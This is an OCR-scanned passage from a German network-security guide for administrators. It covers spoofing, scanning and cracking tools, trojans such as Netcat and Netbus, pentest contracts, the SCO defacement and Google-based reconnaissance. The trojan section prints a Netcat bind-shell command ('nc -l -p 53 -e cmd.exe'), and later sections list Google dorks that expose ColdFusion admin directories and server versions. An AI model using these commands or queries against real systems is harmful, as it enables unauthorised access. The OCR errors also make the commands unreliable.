In den folgenden Kapiteln werden verschiedene Angriffsmethoden eines Angrei-
fers, die unter anderem von Kevin Mitnick geplant und durchgefiihrt wurden,
erldutert. Diese Methoden konnen z.B. dazu dienen, Informationen tiber die dahin-
ter liegenden Systeme und Dienste zu erhalten. Ein weiterer Grund fiir die Nut-
zung sind Schwachstellen in den Betriebssystemen oder der laufenden Software,
die es dem Angreifer erlauben, durch z.B. einen Buffer-Overflow Zugang zum Sys-
tem mit Rechten als Root zu erhalten. Spoofing Attacken sind aber nicht nur auf U-
nix Systeme begrenzt, sondern werden ebenfalls immer wieder auf Windows ba-
sierten Systemen beobachtet. Zum Beispiel berichtete CIAC im Oktober 1998 iiber eine
RPC-Spoofing-Attacke gegen Windows-NT, die zwei Server in einer Schleife festhalten
konnte:

“...ein Angreifer konnte ein RPC-Datagramm an einen Rechner senden und die Absender-
adresse spoofen, so dass das Datagramm von einer anderen Maschine zu kommen schien.
Dies verleitete die beiden Server dazu, sich gegenseitig stindig RPC-Fehlermeldungen zu
senden [/33/].”
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7.3 Scanner,

Sniffer, Passwortknacker und weitere Tools aus dem

Internet

Ethe- http://www .ethereal.com Tool zur Netzwerkanalyse. Seit einem

real/Wireshark |und Rechtsstreit ist die Weiterentwicklung unter

Scanner http://www.wireshark.org/ |dem Namen , Wireshark” fortgefiihrt wor-
den.

Passwort- Fiir weitere Informationen |Diese Passwort Recovery Tools, um es vor-

knacker, wie z.B. |bitte unter sichtig auszudriicken, konnen verschiedene

Lophtcrack und  |http://www-.securityfocus.co |Formen von Passwortern (Unix- und Win-

John the Ripper |m/tools/ suchen. dows-Formate) ermitteln.

Whisker http://www.wiretrip.net/rfp/ |Ab sofort unter libwhisker

(http://www .wiretrip.net/rfp/lw.asp) oder
Nikto
(http://www.cirt.net/code/nikto.shtml) zu
finden. Scannt Web-Server nach Schwach-
stellen.

Stealth Scanner

http://www.nstalker.com/pr
oducts/

Hierbei handelt es sich um einen Web Ap-
plication Security Scanner. Scannt mittler-
weile bis zu 35.000 Schwachstellen.

Nessus Scanner

http://www .nessus.org

Nessus ist DER Netzwerk-Scanner schlecht-
hin und einer der bekanntesten Scanner.
Nessus bietet eine breite Flache an Plugins
und Updatemoglichkeiten.

Diese Tools von Next Generation Security
Software suchen nach Schwachstellen in

Netzen, Systemen und Datenbanken.

TyphonIllund |http://www.nextgenss.com
NGSSQuirreLL

Scanner

Nmap http://www .insecure.org/nm

ap/

Nmap ist ein Open Source Scanner, der in
Netzwerken und den darin befindlichen Sys-
temen nach Schwachstellen sucht.

Tabelle 1: Tools aus dem Internet

Die angefiihrte Tabelle soll nur eine kleine Auflistung sein, um Ihnen einen Uber-
blick zu verschaffen.

Testen Sie Ihre Systeme oder lassen Sie sie einmal mit den genannten Tools che-

cken.
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7.4 Trojaner

Uber Trojanern wurde in den letzten Jahren bereits eine ganze Reihe von Artikeln
geschrieben. Sie sollen auch nur der Vollstindigkeit halber erwdhnt werden. Jeder
Administrator hat sicher schon einmal Bekanntschaft mit einem dieser Programme
gemacht, in den meisten Fallen auf einem verseuchten Windowssystem, aber in
den letzten Wochen wiederholt auch unter Unix und Linux.

Programme, wie Netcat, Netbus oder Back Orifice, arbeiten meist alle nach einem
Prinzip.

Sie bestehen aus zwei Programmteilen, dem Server- und dem Clientteil. Der Server
wird auf dem Opferrechner installiert und gestartet. Danach horcht er auf einem
Port und wartet auf eine Verbindung mit dem Client (Auf UDP und TCP Ebene).
Diese Programme bieten eine Vielzahl von Funktionen, die vom Client aus initiiert
werden. So kénnen Dateien manipuliert werden Der Rechner wird neu gestartet,
oder vom Bildschirm werden Screenshots gemacht und per Email versendet. Net-
cat wird auch als das TCP/IP Schweizer Armee-Messer bezeichnet.

Am Beispiel Netcat sollen nun die Moglichkeiten aufgezeigt werden, die ein sol-
ches Tool bietet.

Nach der Installation, die hier nicht ndher erlautert werden soll (etwas an Auf-
wand miissen Sie schon selber investieren..), kann Netcat genutzt werden, um ein
System zu scannen.

Mit dem folgenden Befehl senden Sie an die IP-Adresse a.b.c.d und dem ,echo-
Befehl” ein H-E-L-L-O zu jedem Ziel (TCP und UDP Ports).

“echo Hello | nc —v —w 3 -z a.b.c.d 1-200”

Ist Netcat erst einmal auf dem Zielrechner installiert, konnen Sie mit dem folgen-
den Befehl eine Kommandoshell starten und mit der zweiten Befehlsfolge auf diese
Shell zugreifen, um Befehle abzugeben, wie ,,cd.. oder mkdir”:

nc—l—p 53 —e cmd.exe”
Jncab.cd53”

Netbus, auch als Backdoor G bekannt, bietet im Gegensatz zu Netcat eine gute und
reichlich mit Funktionen bestiickte Oberflache.
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Server admin Host nameiP: |Gl j Port: I"IE:MS
Open CD-ROM [ inintervak: [0 About | AddiP | Connect! |
Show image Function delay: Il]_ Memo | Del IP | Scan! I
Swap mouse Port Redirect App Redirect Server setup
Start program Play =ounid Il]— Il]— Control mouse
Msg manager Exit Windows Mouse pos Go to URL
Screendump Send text Listen Key manager
Get info Active wnids Sounid system File manager
|Hr.| connection | o

Abbildung 7: Netbus Oberfldche

Einige Trojaner versenden die IP-Adresse des Opfers an IRC Chat-Foren und tra-
gen damit zu einer weiteren Verbreitung bei.

Der Programmierer von Netbus sagte einmal: “I hope NetBus (and similar programs
like Back Orifice) will make more people aware of the security risks at their system.”

Wir wollen hoffen, dass es seine wahre Intuition zum Schreiben dieses Tools war
und dass er Recht behalt.

Was kann aus diesem Kapitel auf das eigene Netzwerk {ibertragen werden?

Machen Sie sich mit den gangigsten Tools vertraut. Lernen Sie, wie man sie an-
wendet. Nur dann konnen Sie verstehen, wie solche und dhnliche Tools in Threm
Netzwerk arbeiten.

Sie lernen, wie man sie entdeckt und beseitigt.

Machen Sie sich ebenfalls vertraut mit dem Lesen und Auswerten Ihrer Log Files.
Erkennen Sie den Einsatz solcher Tools. Auf welchem Rechner sind sie installiert
und wie hat der Angreifer es geschafft, diese Tools bei Ihnen einzuschmuggeln?
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Dieses Kapitel soll keine Anleitung oder Vorgabe fiir einen Penetrationstest geben.
Denn zu diesem Thema gibt es eine Vielzahl an Literatur und Informationsmateri-
al im Internet. Als Beispiel sei nur auf das BSI?2 verwiesen, und es sollen ein paar
Hinweise und Ratschldge an Sie als Administrator gegeben werden, an was Sie
denken sollten, bevor Sie eine Firma mit einem Penetrationstest beauftragen.

Penetrationstests-, oder auch Vulnerability-Scans genannt, sind seit SATAN, dem
ersten Schwachstellen-Scanner, der Versuch, in ein Netzwerk oder ein System ein-
zudringen und so viele Schwachstellen wie moglich aufzudecken. Dieser Vorgang
kann durch Tools und Programme unterstiitzt werden. Beauftragen Sie ein exter-
nes Unternehmen, da es ratsam ist, fiir die Untersuchung einen Personenkreis zu
wihlen, der Ihre Systeme nicht kennt.

Falls es in Ihrem Unternehmen noch kein Sicherheitskonzept und keine Sicher-
heitsrichtlinien gibt, sollte Ihr erster Schritt sein, diese Mafinahmen anzugehen, um
die Effizienz eines spateren Penetrationstests zu steigern.

Das BSI erklart in seiner Informationsschrift, dass , durch einen Penetrationstest
gepriift werden kann, inwieweit die Sicherheit der IT-Systeme durch Bedrohungen
von Hackern, Crackern, etc. gefdhrdet bzw. ob die IT-Sicherheit durch die einge-
setzten Sicherheitsmafinahmen aktuell gewahrleistet ist.” 2

8.1 Was vorher zu beachten ware

Es werden im Allgemeinen so genannte Black Box- und White Box-Tests unter-
schieden. Einige Unternehmen unterscheiden auch interne, externe oder Remote
Zugangsiiberpriifungen. Ungeachtet wie die Uberpriifungen benannt werden, las-
sen Sie sich genauestens auflisten, was gemacht wird und in erster Linie mit wel-
chen Tools. Werden auch Prozesse betrachtet, die erkennen lassen, was mit Thren
Daten nach einer Uberpriifung passiert? Wenn das Unternehmen ihnen mitteilt,

22 http://www.bsi.bund.de
3 http://www.bsi.bund.de
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dass Thre Daten sicher aufbewahrt werden, um sie mit einem spéteren Test zu ver-
gleichen, sollten Sie dieses Unternehmen ablehnen. Alle gesammelten Daten miis-
sen Thnen namlich nach einem Penetrations-Test namlich {ibergeben werden. Der
Anbieter dieser Tests muss alle Daten auf seinen Computern, Laptops oder was er
genutzt hat, nach der Ubergabe unwiederbringlich 16schen.

Schlielen Sie diesbeziiglich einen entsprechenden Dienstleistungsvertrag mit dem
Unternehmen. Aus diesem Vertrag muss unter anderem hervorgehen, dass:

- das Unternehmen Thnen mitteilt, welches Schema der Vorgehensweise
zugrunde liegt. Welche einzelnen Schritte sind geplant;

- es eine definierte Zielsetzung gibt, wie z.B. die Identifikation von
Schwachstellen oder die Erlangung einer Zertifizierung fiir Dritte;

- das testende Unternehmen Tests eventuell nur bis zu einem bestimm-
ten Punkt durchfithren darf. So diirfen z.B. keine Personaldaten ausge-
lesen werden, wenn ein solches System getestet wird und das System
soweit kompromittiert wurde, dass diese Daten ausgelesen werden
konnten;

- alle gewonnenen Daten/Informationen iibergeben werden;

- keine Daten anderweitig eingesetzt, verarbeitet, veroffentlicht oder ge-
nutzt werden;

- alle Daten auch in Papierform an Sie {ibergeben werden;

- nach einer Dateniibergabe alle gespeicherten Daten auf den Geraten
des testenden Unternehmens unwiderruflich geldscht werden;

- keine Kopien einbehalten werden, auch nicht in Papierform;
- die eingesetzten Tools genannt und aufgezahlt werden;
- alle gewonnenen Erkenntnisse nicht an Dritte weitergegeben werden;

- auch die logische Sicht betrachtet wird, wie z.B. Passworter, Umgang
mit Datensicherheit: Stichwort ,Social Engineering”. Hinzu kommt eine
Uberpriifung der physischen Mafinahmen, wie Absicherung des Ser-
verraumes, Zugangskontrollsysteme etc.

Klaren Sie die rechtlichen Aspekte. Sie miissen mit dem Dienstleister einen Vertrag
mit einer Einverstdndniserklarung abschlieflen, damit dieser Ihre Netze scannen
darf. Bei Attacken iiber das Internet muss der Internet Service Provider informiert
werden, der Thre 6ffentlichen Netze betreut, sowie der ISP des Dienstleisters. Es
kann sonst zu einer Vertragsverletzung kommen, und Ihre Zugénge werden ge-
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sperrt. Wenn Sie Ihre Web-Server bei einem weiteren Dienstleister gehostet haben,
muss dieser ebenfalls informiert werden, da Thre Server eventuell von weiteren
Kunden genutzt werden (virtuelle Server). Wenn Ihr ISP {iber ein Intrusion Detec-
tion System verfiigt, konnen Ihnen Kosten entstehen, da Ihnen ein Aufwand fiir
die Erkennung oder Auswertung des Angriffs in Rechnung gestellt wird.

Lassen Sie sich auch Referenzen (hoffentlich anonymisiert) zeigen, um einen Uber-
blick {iber die zu erhaltenden Auswertungen und den zu erwartenden Detaillie-
rungsgrad zu bekommen. So wird es spater keine Missverstandnisse dariiber ge-
ben, was Sie erwartet haben und was letztendlich geliefert wurde.

Informieren Sie ebenfalls Ihren (hoffentlich vorhandenen) Datenschutz-
beauftragten und eventuell Thren Betriebsrat, da ein Penetrationstest auch Ihre
Mitarbeiterdaten betreffen kann.

Kléren Sie unbedingt, welche Systeme und/oder Netze genau getestet werden diir-
fen und welche nicht. Das Bundesamt fiir Sicherheit in der Informationstechnik
Deutschland (BSI) hat ein Klassifikationsschema entwickelt, anhand dessen sich
ein Test beschreiben lésst.

Im Wesentlichen werden sechs verschiedene Kriterien betrachtet:

1. Informationsbasis
2. Aggressivitat

3. Umfang

4. Vorgehensweise
5. Technik

6. Ausgangspunkt

8.2 Der Penetrations-Test-Konflikt

Nachdem Sie einige vertragliche Details geklart haben (Ihren Anwalten fallen mit
Sicherheit noch ein paar Punkte mehr ein), wird das beauftragte Unternehmen im
weiteren Verlauf versuchen, Informationen zu sammeln, um in Ihr System einzu-
dringen. Glauben Sie nicht, dass ein Angreifer versucht, so viele Schwachstellen
wie moglich aufzudecken? Er wird wahrscheinlich nur ein Loch in Ihren Systemen
suchen. Sobald er eine Schwachstelle gefunden hat, wird er mit seinen Angriffsver-
suchen beginnen. Was kénnte wohl einfacher sein? Eine Schwachstelle in einem
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Netzwerk zu finden oder die Verteidigung Ihrer Systeme gegen alle moglichen
Schwachstellen? Die Antwort liegt meines Erachtens auf der Hand.

Netzwerk-Sicherheit ist eine ,,Never Ending Story” und muss in regelmafiigen Ab-
stinden oder bei Anderungen iiberpriift werden. Wie oft dndert sich in Ihrem
Netzwerk etwas? Es kommen neue Systeme, Dienste oder Prozesse hinzu. Mitar-
beiter wechseln die Abteilung oder kommen neu in das Unternehmen. Finden Sie
immer die Zeit, diese Mitarbeiter in Ihre IT-Umgebung einzuweisen. Viel wichtiger
ist jedoch die Situation, wenn ein Mitarbeiter das Unternehmen verldsst. Wie
schnell laufen in IThrem Unternehmen die Prozesse ab, diesen Mitarbeiter aus Ihren
Systemen zu l6schen und Zugriffsberechtigungen zu dandern. In vielen Fallen wird
die Fachabteilung, aus der der Mitarbeiter stammte, den Account noch benétigen,
um auf dessen Daten zugreifen zu kdnnen. Meist wird ein Mitarbeiter, der ein Un-
ternehmen verldsst, nicht durch eine Neueinstellung ersetzt, sondern seine Aufga-
ben an die anderen Mitarbeiter aufgeteilt. Die Zeit fehlt oft, um eine geordnete U-
bergangsfrist und Einarbeitungszeit inklusive einer Dateniibergabe zu organisie-
ren. Somit ist es ein notwendiges Ubel, den Account zu behalten.

Dies soll nur ein Beispiel sein, um lhnen zu zeigen, wie schnell sich, auch unbe-
merkt, Anderungen im Unternehmen ergeben, auf die Sie als Verantwortlicher im
IT-Umfeld reagieren miissen.

Was hat das mit den Penetrationtests zu tun? Ein Penetration Test gibt nur eine
Momentaufnahme Ihrer Systemlandschaft wieder.

Es zeigt jedoch, dass die mit diesem Test beauftragte Firma es nicht geschafft hat,
in Thr Netzwerk einzudringen. Damit soll aber nicht die Aussage getroffen wer-
den, dass Penetratonstests nichts taugen. Doch sind sie nicht das Allheilmittel und
keine endgiiltige Bestatigung fiir die Sicherheit Thres Netzwerkes. Fithren Sie es
sich immer wieder vor Augen:

14

. Es gibt kein hundertprozentig sicheres Netzwerk

Penetrationstests sind ein Mittel, ein Punkt nur auf Ihrem Ablaufplan, um die Si-
cherheit Threr Systeme zu testen, zu gewahrleisten und zu verbessern. Sie miissen
in regelmafligen Abstdnden durchgefiihrt werden. Das konnen auf der einen Seite
auch Sie als Administrator machen. Fiir einen Penetrationstest eignen sich die ei-
genen Administratoren doch eher selten.

42



8.2 Der Penetrations-Test-Konflikt

Aber es muss auch ein Externer hinzugezogen werden. Nur er kann neutral und
als nicht unternehmensblind die Netze und Systeme tiberpriifen und findet viel-
leicht Ansatze, die Sie eventuell fiir selbstverstandlich und nicht gefahrlich halten.

Uberpriifen Sie in diesem Zusammenhang auch Ihre Prozesse. Sind genau be-
schriebene Arbeitsschritte definiert, die z.B. aufzeigen, was bei einem Mitarbeiter-
wechsel zu tun ist? Schreiben Sie auf, was in einem solchen Fall alles erledigt wer-
den muss, und denken Sie nicht nur an die technischen, sondern betrachten Sie
auch organisatorische Anderungen.

Was kann aus diesem Kapitel auf das eigene Netzwerk {ibertragen werden?

Testen Sie Ihr Netzwerk und die darin befindlichen Systeme in regelmé&fliigen Ab-
standen und sensibilisieren Sie sich und Ihre Mitarbeiter immer wieder aufs Neue.
Fiihren Sie sich vor Augen und machen Sie sich bewusst, wie sich Anderungen im
Unternehmen auf das Netzwerk und IThre Systeme auswirken. Was passiert bei ei-
nem Personalwechsel, auch innerhalb des Unternehmens? Das fangt schon bei den
Auszubildenden an, die wahrend ihrer Ausbildungszeit von einer Abteilung in die
néchste wechseln. Wurde ein Mitarbeiter entlassen oder hat er gekiindigt? Gibt es
fiir diesen ehemaligen Mitarbeiter einen Remote-Zugang? Kann oder darf er noch
auf seine Emails zugreifen oder hat er sie womoglich an seine neue Adresse wei-
tergeleitet?

Klinken Sie sich unbedingt in diese Personalprozesse ein. Lassen Sie sich tiber je-
den Mitarbeiterwechsel informieren.

Bedenken Sie ebenfalls, dass ein Penetrations-Test nicht alle Fragen und Probleme
anspricht und 19st.

Erganzen Sie, oder besser noch, integrieren Sie einen Penetrations-Test in ein re-
gelmafiges Sicherheits-Audit und eine IT-Revision ein.

Nur dann werden Sie auch auf offene Probleme, wie Datensicherung, Lagerung
von Datensicherungen, Datenrecoveryprozesse und den Umgang mit Passworten
stofsen. Diese Punkte werden im Allgemeinen nicht in einem Penetrationstest ge-
priift.
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In diesem Kapitel sollen ein paar Hinweise und Anregungen gegeben werden, wie
Sie selber ihre Server nach eventuellen Schwachstellen und Sicherheitsliicken
tiberpriifen konnen. Es werden Tipps gegeben, wie Sie Informationen {iber Liicken
herausfinden, wie Sie die Suchmaschine Google fiir eine solche Nachforschung be-
nutzen und auch personenbezogene Daten , ergoogeln” konnen.

9.1 Angriff auf die Webseiten von SCO

Die Informationsbeschaffung oder das Ausspdhen eines ganz bestimmten Servers,
z.B. ein geplanter Angriff auf die Server der Bank oder das Unternehmen XY,
kommen in sehr seltenen Féllen vor. Beispiel fiir ein konkretes Vorgehen gegen ein
bestimmtes Unternehmen ist die Attacke auf die Server der Firma SCO vom
29.11.2004 (siehe dazu Abbildung 8).

Kurze Hintergrundinformationen zur Attacke gegen das Unternehmen: SCO be-
hauptet in einem gegen IBM angestrengten Prozess, die Rechte an wichtigen Teilen
des Unix-Quellcodes zu besitzen, der dann in verschiedene Linux-Distributionen
eingearbeitet worden sein soll. Einen Beweis blieb das Unternehmen bislang aller-
dings schuldig, zog sich aber den Unmut vieler Firmen und Anwender zu. Der
ganze Vorgang gipfelte dann in Angriffe auf Web-Server und dem Defacing (siehe
Abbildungen 8 und 9) der Webseiten von SCO, wie auf den nédchsten Seiten zu se-
hen ist.

45



9 Informationsbeschaffung anhand eines Beispiels

I 5%; http: ffwwew . sco. com)

zichen

: £ The SCO Group, Inc. | The Power of UNIX | £

L, e — —

FROQLU

INFORMATION FOR. .. r FARTH

WE OWN ALL YOUR CODE

Contact SCO

pay us all your money *

A Member of 3C0's Developer Network?

Learn more about how you can become a part of SCO's Marketplace Initiative
and generate new direct revenues by participating in development projecta
with SCO's Enginsers. Learn More >

UnixWare 7.1.4 Maintenance Pack 1 for Enhanced Security This.
maintenance pack includes Pluggable Authentication Module (PAM ) support,
file sy=tem encryption, and much mere, It iz applicable to both Basic
Maintenance and SCO Update customers and is highly recommended that
Unix¥¥are 7.1.4 customers install this at the next maintenance interval. The
maintenance pack can be downlvaded hers.

§COoffice Server 4.1 for E-mail and Collaboration

SCQeffice Server 4.1 combines security and religbiity with a frisndly, full-
featured Internet e-mail and cellaberation olution. It alzo preventz e-mail
viruses, stops junk e-mail, schedules group meetings, shares contact lists,
and manages group tazks. Sign up for a FREE review today. Learn More >

SCO OpenServer 5.0.7 Releases Newest Java, Database, and
Hardware Support

Supplement 3 for SCO OpenServer 5.0.7 is packed full of new features and
enhancements. Supplement 3 includes the newest Java 2 SE platform,
Tomcat PestgreSQL, the award-winning KMoezilla Web browser, user-level
threads, and much more. Update your systems today!

5CO® OpenServer™ 5.0.7 supports thousands of small and medium-sized
business customers around the globs. Sign up for a FREE OpsnServer 5.0.7
Upgrade Review foday. Learn More >

SCO UnixWare® 7.1.4 the latezt releaze of SC0'= award winning, gtate of
the art UNIX operaling system is now shipping. Te sign up for a free upgrade
review click here >

SCOin the HEWIS

SC0 looks to Tunes o ingpire Unix grewth — Computer Business Review
SCQO hitz back at IBK dizmiz=al bid - vnunet.com SCOoffice Server traps
spam, enhances collaboration - ZDMNet Newrs. SCO selis first Linux licencesin
UK - vnunst com. SCO moves operating systems te one kernel - vaunat.com
More SCO News >

legal Privacy  Downlosd  Product Registration Search

Documentation

See che New Ur
Releace

SCO Quick Links

Want to get somewhere fast? Use
one of these Quick Links.

Looking for a promoticn. contest
or campaign? Enter keyword here

IEnler Keyword
-
Know the preduct you want

infermation about? Go directly to
that product page

[ chosse a Froductor Service .. x|
]

Which product or service is right
for you? Let us build a solution
based on your needs.

| Solution Builder yé

Rnowledge Center

Abbildung 8: We own all your code - Veranderte Webseite der Firma SCO

Der verdnderte Bildtext konnte einen ganzen Tag lang ,bewundert” werden, ehe

SCO die Webseite wieder ,,normalisierte”.
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9.1 Angriff auf die Webseiten von SCO

SCO fiihrte zu diesem Zeitpunkt einen Rechtsstreit mit den Entwicklern von Unix
und den Linux-Derivaten. SCO gab an, dass in dem Quellcode von Unix und Linux
Quellcode der Firma SCO aus dem Ursprungsunix eins zu eins {ibernommen wor-
den sei. SCO verlangte darauthin Lizenzgebiihren aller bis dato installierten Unix-
und Linux-Betriebssysteme. Wie man sich leicht vorstellen kann, wandte sich die
Unix- und Linux-Gemeinde gegen SCO. In allen Newsgroups wurde SCO scharf
attackiert.

A 'The SCO Group, Inc. | Red Hatv, SCO™- Microsoft Internet Explorer

Fil=  Edit Wiew Favorites Tools  Help -f,’
1 ~ P A T
1 ’ ) =r r v & - B
G © [H @G| Pxen oo @ B-% - B
Address | ] http: i sco.comfradhat] [v] 3o

‘ o THE POWER OF UNIX® Home How To Buy Shop Worldwide

FROOL RVIGES INFORMATIONFOR RESOURGE af COMPRHY PRATHE RS

WLL

UT IO

Red Hatv. 5C0O

SCO vs World

PARTNER WEBINARS
Recenthy we found parts of our code in almost all Microsoft(R) software. We want to

bring an action against Microsoft(R) and our legal department is working on that
Farts of code Tound inin all Microsof(R) products from MS-DOS(TM) 2.1 to
Microsoft{R) WindowsTM) Longharn, Currently we are checking older MS-DO 2
sources. It's obvious, that all while {1 do_something;} and for (i =0;i < 16;i++)
loops came fram our code.

— Qctober 4, 2004

Red Hat, Inc. v. The 8GO Group, Inc., CA Mo 03772 mmmrluau(‘
(ELRY) ;

_ May 4,2004
SC0's Dppositon to Red Hat's Mation for Reconsideration
Staternent of Facts

" 500 Marketplace |

Joinche'Developer Neto|

_ April 20, 2004
ermorandurn of Law in Support of Red hat, Inc.'s totion
far Reconsideration [il

&) Dones B Internet

Abbildung 9: Hinterlassene Nachricht des Angreifers auf der SCO Seite

Man kann daraus schliefien, dass es sich hier um einen geplanten Angriff gegen die
Server von SCO gehandelt hat. Wenn man sich die Abbildung 8 genau ansieht, er-
kennt man im oberen Teil der Webseite das blaue Logo mit dem Schriftzug
,SCO”. Darunter wurde ein neuer Schriftzug hinzugefiigt mit dem Titel , WE
OWN ALL YOUR CODE — pay us all your money”. Im Hintergrund dieses Schriftzu-
ges ist eine Person vor einer Tafel zu sehen, auf der geschrieben steht ,hacked by
realloc()” . Auf der veranderten Seite heifit es, SCO habe den eigenen Code in nahezu
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9 Informationsbeschaffung anhand eines Beispiels

jeder Software von Microsoft gefunden und werde den Redmonder-Konzern daher
verklagen. Die Seite fiihrt als Beweis sogar zwei Codezeilen auf: "while (1){do
nothing;}" und "for (i=0; i<16; i++)" (siehe Abbildung 9).

9.2 Informationsbeschaffung mittels Suchmaschinen am Beispiel
Google

Google ist sicher eine der bekanntesten Suchmaschinen im Internet neben Yahoo
und Lycos. Man geht davon aus, dass ca. 80% der Suchanfragen {iber Google ab-
gewickelt und beantwortet werden.

Durch einen aufiergewdhnlich gut und effektiv entwickelten Suchalgorithmus,
aber auch durch die Moglichkeit, komplexe Anfragen, die iiber Schalter geregelt
werden konnen, zu stellen, wird Google zu einer sehr interessanten Datenbank fiir
die Informationsbeschaffung.

Aber warum soll ein potentieller Angreifer ausgerechnet eine Suchmaschine ver-
wenden anstatt eines Scanners, wie z.B. NMAP, der dhnliche Ergebnisse auflistet?
Die Antwort ist relativ simpel. Mit einer Suchmaschine kann er recht gefahrlos a-
gieren, ohne aufzufallen. Viele Web-Server von Unternehmen stehen in einem ge-
sicherten Bereich hinter der Firewall, der DMZ meist durch zusitzliche Systeme
abgesichert, wie z.B. einem IDS (SNORT, ModSecurity). Scanner fallen dem IDS
auf und werden geblockt bzw. an den Administrator gemeldet, der dann (hoffent-
lich!) entsprechende Mafsnahmen zur Absicherung einleitet.

Eine Google-Anfrage aber ist recht harmlos und wird dementsprechend auch vom
IDS nicht erkannt. Es existieren fiir solche Anfragen keine entsprechenden Such-
muster in der Datenbank der IDS-Systeme.

9.2.1 Informationsbeschaffung Microsoft IS 6.0

Im folgenden Kapitel werden Informationen zum Microsoft Internet Information
Service (IIS) in der Version 6.0 iiber die Google-Suchmaschine herausgefiltert.

Nehmen wir einmal an, es ist eine Liicke im Zusammenhang mit dem IIS 6.0 be-
kannt. Damit ein Angreifer diese Liicke ausnutzen kann, muss er sich weitere In-
formationen beschaffen. Die erste Information wird sein, einen geeigneten Server
zu lokalisieren. Hierbei hilft ihm eine Anfrage iiber die Suchmaschine Google. Mit
der Eingabe von: , "Microsoft-115/6.0 Server at” intitle:index.of” erhilt er zeitnah (< 1
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9.2 Informationsbeschaffung mittels Suchmaschinen am Beispiel Google

Sekunde) und bequem (als sauber geordnete Auflistung) seine Ergebnisse und
kann sie nacheinander durchgehen (siehe Abbildung 10).

5] 4 Google-Suche: Microsoft-I15/6.0 Server at”... & Index of html

Index of /html

Hame Last modified Size Description
: Parent Directory 17-Jul-2004 16:31 -
@ commerce/ 17-Jul-2004 16:31 B
@ digics/ 17-Jul-2004 16:31 -
m ebiz/ 17-Jul-2004 16:31 =
@ edirect/ 17-Jul-2004 16:31 =
63 images/ 17-Jul-2004 16:31 -
@ news/ 17-Jul-2004 16:31 =
a partner/ 17-Jul-2004 16:31 -
@ contact.php 17-Jul-2004 16:31 Tk
@ contactl.php 17-Jul-2004 1&:31 1k
@ nhomepage . phn 17-Jul-2004 16:31 31k
e v o =
index.html 17-Jul-2004 16:31 1k Welcome to Swiss E-Commerce —-—-—
@ logo.swk 17-Jul-2004 1&:31 33k

Microsaft-II5/6.0 Sarver ar IR - Fort 80

Abbildung 10: Google Suchanfrageergebnis

Der Angreifer sucht sich jetzt einen der von Google zuriickgelieferten Links aus

und sieht sich die Ergebnisse an. Der Google-Suchstring gibt den Server mit der
Version wieder, wie in der Abbildung 10 am unteren Rand zu erkennen ist.

Diese Abfrage stellt auf den ersten Blick keine unmittelbare Gefahr fiir den Web-
Server dar. Der Angreifer bekommt Informationen zum Server, sprich Versions-
nummer, Port etc. Schaut man sich aber die Moglichkeiten einer solchen Abfrage
genauer an, ist zu erkennen, dass hier wesentlich mehr fiir einen Angreifer mog-

lich ist.

Geben Sie z.B. die folgende Abfrage in die Google-Suchmaschine ein:
“intitle:"Index of /CFIDE/" administrator”
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9 Informationsbeschaffung anhand eines Beispiels

Als Ergebnis erhalten Sie eine Auflistung des Directorys von Web-Servern, die mit
Cold-Fusion arbeiten. Cold-Fusion ist ein Entwicklungswerkzeug, mit dem Sie
Webseiten und Applikationen erstellen und bearbeiten kénnen.

Der Suchstring legt Verzeichnisse offen, die ein Aufienstehender nicht sehen sollte.
Unter anderem wird ein Verzeichnis , Administrator” angezeigt. Viele noch nicht
gepatchte Cold-Fusion-Systeme gestatten die Auflistung der Dateien in dem Ad-
ministratorverzeichnis, darunter auch Dateien, in denen Passworter hinterlegt
sind.

Linurl:htm(1)” steht fiir "die URL soll eine HTM- oder HTML-Seite sein"; ohne diese
Option werden auch u.a. PDF Dateien gelistet.

~index of” bezeichnet die Suche nach dem Titel eines Indexes, d.h. wenn man nach
,mp3” sucht, werden die Ergebnisse nur Indizes mit dem String , mp3“ im Titel
enthalten, und dann wird der Inhalt in vielen Féllen eine Liste mit Links zu Mu-
sikdateien sein (manchmal ist auch nichts enthalten), die man einfach runterladen
kann - sofern sie nicht lizenzrechtlich geschiitzt sind.

Diese Art der Suche wird schon von den Webseitenprogrammierern genutzt, um
sich bei derartigen Suchstrings unter Google nach vorne in die Ergebnisliste zu
schieben. Teilweise mit sehr zweifelhaften Angeboten. Klicken Sie nicht einfach auf
jeden Link in der Ergebnisliste!

9.2.2 Google Suchanfragen nach verschiedenen Arten und Standardseiten
von Web-Servern

Fiir die unterschiedlichsten Web-Server gibt es folglich auch den passenden Such-
string fiir Google, um diese zu identifizieren und dann nach bekannten Bugs und
Verwundbarkeiten zu suchen. Eine Abfrage fiir einen Apache-Server sieht unter
Google folgendermafien aus:

,Apache/1.3.29 Server at” intitle:index.of

Um sich Informationen {iiber einen IIS der Version 6.0 bei Google zu holen, kann
der folgende Suchtext eingesetzt werden:

Microsoft-115/6.0 Server at” intitle:index.of

Um die nach einer Installation vorhandenen Standardseiten eines Apache-Web-
Servers (Versionen 1.3.11-1.3.33, 2.0) iiber Google ausfindig zu machen:

intitle:”Test Page for Apache Installation” ,Seeing this instead”
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9.3 ICMP-Echo-Anfragen

Der dementsprechende Aufruf fiir einen IIS 6.0 sieht dann so aus:

intitle:“Welcome to Windows XP Server Internet Services”

9.3 ICMP-Echo-Anfragen

Interessanter als Hostnamen sind die Hosts selber, auf denen Dienste wie ein IIS
oder ein Apache laufen. Wenn in einem Netzwerk das Internet Control Message
Protocol ICMP nicht geblockt oder {iberwacht wird, ergeben sich fiir einen Angrei-
fer Ansatzpunkte, um weitere Informationen iiber Ihr Netzwerk zu erhalten.

Es ist erstaunlich, wie viele Administratoren ICMP-Echo-Pakete von aufien in ihre
Systeme lassen. ICMP-Echo-Pakete sollten auf /dev/null weitergeleitet werden.

Uberpriifen Sie in diesem Zusammenhang Thre Systeme. Testen Sie, auf welchen
Ports ein Dienst lauscht und ob dieser auch benétigt wird. Wenn ja, wie ist dieser
Dienst erreichbar? Kann er nur iiber das lokale Netzwerk angesprochen werden
oder auch aus dem Internet heraus? Wurden Dienste nur zu Testzwecken freige-
geben? Dann ist zu {iberpriifen, ob diese Tests beendet wurden und dieser Dienst
abgeschaltet oder die Freigabe ins Internet unterbunden werden kann.

Diese Mafinahmen sind ein laufender und sich standig wiederholender Prozess.
Vor allem in groflen Netzwerken ist es fiir einen Administrator unerldsslich, die
temporadren Freigaben zu {iberwachen, um einen Wildwuchs zu vermeiden. Den-
ken Sie immer an die Hintertiiren. Auch eine gut bewachte Eingangstiir wird ma-
rode, wenn Sie mit immer mehr Guckldochern versehen wird.

9.4 Informationen iiber Netzwerke sammeln

